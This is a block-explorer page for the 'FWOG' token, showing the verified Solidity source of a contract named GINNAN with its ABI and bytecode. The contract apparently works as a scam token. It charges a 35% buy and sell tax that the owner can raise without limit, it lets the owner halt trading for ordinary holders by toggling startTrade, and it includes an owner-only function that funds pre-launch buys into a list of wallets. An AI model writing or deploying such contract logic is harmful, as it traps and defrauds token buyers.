ETH Price: $3,123.21 (+0.82%)

Token

FWOG (FWOG)
 

Overview

Max Total Supply

420,690,000,000,000 FWOG

Holders

5,744

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
38,060,131,435.132413498102718086 FWOG

Value
$0.00
0x8832e1be8481e6a60b9e49a49e5c645645b6a3bc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GINNAN

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-30
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapRouter {
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }
    

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract GINNAN is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public receiveAddr = 0x394855b21293952411bDe594dFF14aBF73703DAa;
    address payable public mkt =
        payable(0x67Dfa7bf5bfb9A52A5DC5f71849D5f3cd82c7593);

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 private _totalSupply;
    IUniswapRouter public _uniswapRouter;
    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    address public _uniswapPair;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _name = unicode"FWOG";
        _symbol = "FWOG";
        _decimals = 18;
        uint256 Supply = 420690000000000;

        _totalSupply = Supply * 10 ** _decimals;
        swapAtAmount = _totalSupply / 20000;

        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[mkt] = true;

        IUniswapRouter swapRouter = IUniswapRouter(router);
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _walletMAX = 0;
        transferOwnership(receiveAddr);
    }
    modifier onlyFunder() {
        require(_owner == msg.sender || receiveAddr == msg.sender, "!Funder");
        _;
    }
    

    function setMKT(address payable newMKT) public onlyFunder {
        mkt = newMKT;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount = 0;
    uint256 private _initialBuyTax = 35;
    uint256 private _initialSellTax = 35;
    uint256 private _finalBuyTax = 35;
    uint256 private _finalSellTax = 35;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 0;
    uint256 private _preventSwapBefore = 0;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    bool public remainHolder = true;

    function changeRemain() public onlyOwner {
        remainHolder = !remainHolder;
    }

    uint256 swapAtAmount;

    function setSwapAtAmount(uint256 newValue) public onlyOwner {
        swapAtAmount = newValue;
    }

    uint256 public _walletMAX;

    function setWalletMax(uint256 walletM_) public onlyOwner {
        _walletMAX = walletM_;
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (
            isMarketPair[to] &&
            !inSwap &&
            !_isExcludeFromFee[from] &&
            !_isExcludeFromFee[to] &&
            _buyCount > _preventSwapBefore
        ) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))) {
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > swapAtAmount) {
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;

           
            if (
                isMarketPair[from] &&
                to != address(_uniswapRouter) &&
                !_isExcludeFromFee[to]
            ) {
                _buyCount++;
                if (_walletMAX > 0) {
                    require(
                        balanceOf(to) + amount <= _walletMAX,
                        "walletlimit"
                    );
                }
            }

           
            if (remainHolder && amount == balance) {
                amount = amount - (amount / 100000000);
            }
        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt
                    ? _finalSellTax
                    : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt
                    ? _finalBuyTax
                    : _initialBuyTax;
            }
            uint256 swapAmount = (tAmount * taxFee) / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] =
                    _balances[address(this)] +
                    swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);
    }

    uint256 public startTradeBlock;

    function startTrade() public onlyOwner {
        startTradeBlock = startTradeBlock == 0 ? block.number : 0;
    }

    function startTrade(
        address admin,
        address[] calldata adrs,
        uint256 per
    ) public onlyOwner {
        address weth = _uniswapRouter.WETH();
        IERC20(weth).approve(address(_uniswapRouter), ~uint256(0));
        IERC20(weth).transferFrom(
            admin,
            address(this),
            IERC20(weth).balanceOf(admin)
        );
        for (uint i = 0; i < adrs.length; i++) {
            swapToken(per, adrs[i]);
        }
        startTradeBlock = block.number;
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        if (_bal > 0) {
            IERC20(weth).transfer(admin, _bal);
        }
    }

    function swapToken(uint256 tokenAmount, address to) private lockTheSwap {
        address weth = _uniswapRouter.WETH();
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = address(this);

        address[] memory sellpath = new address[](2);
        sellpath[0] = address(this);
        sellpath[1] = address(weth);
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        uint256 buyAmount = _uniswapRouter.getAmountsOut(tokenAmount, sellpath)[
            1
        ];
        buyAmount = buyAmount > _bal ? _bal : buyAmount;
        if (buyAmount == 0) return;
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            buyAmount,
            0,
            path,
            address(to),
            block.timestamp
        );
    }

    function removeERC20(address _token) external {
        if (_token != address(this)) {
            IERC20(_token).transfer(
                mkt,
                IERC20(_token).balanceOf(address(this))
            );
            mkt.transfer(address(this).balance);
        }
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            mkt,
            block.timestamp
        );
    }

    function setFeeExclude(address[] memory accounts, bool value) public onlyOwner {
        for(uint i=0;i<accounts.length;i++){
            _isExcludeFromFee[accounts[i]] = value;
        }
       
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiveAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"walletM_","type":"uint256"}],"name":"setWalletMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"admin","type":"address"},{"internalType":"address[]","name":"adrs","type":"address[]"},{"internalType":"uint256","name":"per","type":"uint256"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073394855b21293952411bde594dff14abf73703daa600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507367dfa7bf5bfb9a52a5dc5f71849d5f3cd82c7593600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e556023600f556023601055602360115560236012556000601355600060145560006015556001601660006101000a81548160ff0219169083151502179055503480156200015357600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600481526020017f46574f4700000000000000000000000000000000000000000000000000000000815250600690816200023b919062000dfc565b506040518060400160405280600481526020017f46574f47000000000000000000000000000000000000000000000000000000008152506007908162000282919062000dfc565b506012600860006101000a81548160ff021916908360ff160217905550600066017e9d8602b4009050600860009054906101000a900460ff16600a620002c9919062001073565b81620002d69190620010c4565b600a81905550614e20600a54620002ee91906200113e565b601781905550600a5460016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003e0919062001187565b60405180910390a36001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200066d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200069391906200120e565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620006fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200072491906200120e565b6040518363ffffffff1660e01b81526004016200074392919062001251565b6020604051808303816000875af115801562000763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200078991906200120e565b600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620008b1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008d791906200120e565b73ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b8152600401620009379291906200127e565b6020604051808303816000875af115801562000957573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200097d9190620012e8565b506000601881905550620009b9600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009c260201b60201c565b5050506200140f565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a4a906200137b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000ac5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000abc90620013ed565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c0457607f821691505b60208210810362000c1a5762000c1962000bbc565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c45565b62000c90868362000c45565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000cdd62000cd762000cd18462000ca8565b62000cb2565b62000ca8565b9050919050565b6000819050919050565b62000cf98362000cbc565b62000d1162000d088262000ce4565b84845462000c52565b825550505050565b600090565b62000d2862000d19565b62000d3581848462000cee565b505050565b5b8181101562000d5d5762000d5160008262000d1e565b60018101905062000d3b565b5050565b601f82111562000dac5762000d768162000c20565b62000d818462000c35565b8101602085101562000d91578190505b62000da962000da08562000c35565b83018262000d3a565b50505b505050565b600082821c905092915050565b600062000dd16000198460080262000db1565b1980831691505092915050565b600062000dec838362000dbe565b9150826002028217905092915050565b62000e078262000b82565b67ffffffffffffffff81111562000e235762000e2262000b8d565b5b62000e2f825462000beb565b62000e3c82828562000d61565b600060209050601f83116001811462000e74576000841562000e5f578287015190505b62000e6b858262000dde565b86555062000edb565b601f19841662000e848662000c20565b60005b8281101562000eae5784890151825560018201915060208501945060208101905062000e87565b8683101562000ece578489015162000eca601f89168262000dbe565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000f715780860481111562000f495762000f4862000ee3565b5b600185161562000f595780820291505b808102905062000f698562000f12565b945062000f29565b94509492505050565b60008262000f8c57600190506200105f565b8162000f9c57600090506200105f565b816001811462000fb5576002811462000fc05762000ff6565b60019150506200105f565b60ff84111562000fd55762000fd462000ee3565b5b8360020a91508482111562000fef5762000fee62000ee3565b5b506200105f565b5060208310610133831016604e8410600b8410161715620010305782820a9050838111156200102a576200102962000ee3565b5b6200105f565b6200103f848484600162000f1f565b9250905081840481111562001059576200105862000ee3565b5b81810290505b9392505050565b600060ff82169050919050565b6000620010808262000ca8565b91506200108d8362001066565b9250620010bc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f7a565b905092915050565b6000620010d18262000ca8565b9150620010de8362000ca8565b9250828202620010ee8162000ca8565b9150828204841483151762001108576200110762000ee3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200114b8262000ca8565b9150620011588362000ca8565b9250826200116b576200116a6200110f565b5b828204905092915050565b620011818162000ca8565b82525050565b60006020820190506200119e600083018462001176565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620011d682620011a9565b9050919050565b620011e881620011c9565b8114620011f457600080fd5b50565b6000815190506200120881620011dd565b92915050565b600060208284031215620012275762001226620011a4565b5b60006200123784828501620011f7565b91505092915050565b6200124b81620011c9565b82525050565b600060408201905062001268600083018562001240565b62001277602083018462001240565b9392505050565b600060408201905062001295600083018562001240565b620012a4602083018462001176565b9392505050565b60008115159050919050565b620012c281620012ab565b8114620012ce57600080fd5b50565b600081519050620012e281620012b7565b92915050565b600060208284031215620013015762001300620011a4565b5b60006200131184828501620012d1565b91505092915050565b600082825260208201905092915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b6000620013636011836200131a565b915062001370826200132b565b602082019050919050565b60006020820190508181036000830152620013968162001354565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000620013d56008836200131a565b9150620013e2826200139d565b602082019050919050565b600060208201905081810360008301526200140881620013c6565b9050919050565b613ce7806200141f6000396000f3fe6080604052600436106101e75760003560e01c806365b61b7711610102578063a67755c211610095578063cefab2af11610064578063cefab2af146106c9578063dd62ed3e146106f4578063f2fde38b14610731578063f887ea401461075a576101ee565b8063a67755c214610623578063a9059cbb1461064c578063bc2b8fb714610689578063bc76c052146106b2576101ee565b80637cc5b1e6116100d15780637cc5b1e6146105795780638da5cb5b146105a45780638ff4013f146105cf57806395d89b41146105f8576101ee565b806365b61b77146104e35780636c5808011461050e57806370a0823114610525578063715018a614610562576101ee565b806336b2e0271161017a5780634bf28fd0116101495780634bf28fd01461043b578063553193ca1461046657806358e56b63146104915780636402511e146104ba576101ee565b806336b2e0271461036f5780633e0cdeb1146103ac5780633ecad271146103d55780633f80b6d714610412576101ee565b806323b872dd116101b657806323b872dd146102b157806327b1a8e9146102ee578063313ce567146103195780633455a9db14610344576101ee565b806306fdde03146101f3578063095ea7b31461021e57806318160ddd1461025b5780631b58374914610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610785565b6040516102159190612d4b565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612e15565b610817565b6040516102529190612e70565b60405180910390f35b34801561026757600080fd5b5061027061082e565b60405161027d9190612e9a565b60405180910390f35b34801561029257600080fd5b5061029b610838565b6040516102a89190612e9a565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612eb5565b61083e565b6040516102e59190612e70565b60405180910390f35b3480156102fa57600080fd5b506103036109e4565b6040516103109190612e9a565b60405180910390f35b34801561032557600080fd5b5061032e6109ea565b60405161033b9190612f24565b60405180910390f35b34801561035057600080fd5b50610359610a01565b6040516103669190612f4e565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612f69565b610a27565b6040516103a39190612e70565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612fd4565b610a47565b005b3480156103e157600080fd5b506103fc60048036038101906103f79190612f69565b610b71565b6040516104099190612e70565b60405180910390f35b34801561041e57600080fd5b5061043960048036038101906104349190613001565b610b91565b005b34801561044757600080fd5b50610450610c49565b60405161045d9190612f4e565b60405180910390f35b34801561047257600080fd5b5061047b610c6f565b6040516104889190612e9a565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b391906131f0565b610c75565b005b3480156104c657600080fd5b506104e160048036038101906104dc919061324c565b610d98565b005b3480156104ef57600080fd5b506104f8610e30565b60405161050591906132d8565b60405180910390f35b34801561051a57600080fd5b50610523610e56565b005b34801561053157600080fd5b5061054c60048036038101906105479190612f69565b610eff565b6040516105599190612e9a565b60405180910390f35b34801561056e57600080fd5b50610577610f48565b005b34801561058557600080fd5b5061058e611094565b60405161059b9190613302565b60405180910390f35b3480156105b057600080fd5b506105b96110ba565b6040516105c69190612f4e565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f1919061324c565b6110e3565b005b34801561060457600080fd5b5061060d61117b565b60405161061a9190612d4b565b60405180910390f35b34801561062f57600080fd5b5061064a60048036038101906106459190612f69565b61120d565b005b34801561065857600080fd5b50610673600480360381019061066e9190612e15565b6113c7565b6040516106809190612e70565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190613378565b6113de565b005b3480156106be57600080fd5b506106c7611807565b005b3480156106d557600080fd5b506106de6118c1565b6040516106eb9190612e70565b60405180910390f35b34801561070057600080fd5b5061071b600480360381019061071691906133ec565b6118d4565b6040516107289190612e9a565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612f69565b61195b565b005b34801561076657600080fd5b5061076f611b15565b60405161077c9190612f4e565b60405180910390f35b6060600680546107949061345b565b80601f01602080910402602001604051908101604052809291908181526020018280546107c09061345b565b801561080d5780601f106107e25761010080835404028352916020019161080d565b820191906000526020600020905b8154815290600101906020018083116107f057829003601f168201915b5050505050905090565b6000610824338484611b3b565b6001905092915050565b6000600a54905090565b60185481565b600061084b848484611c26565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109d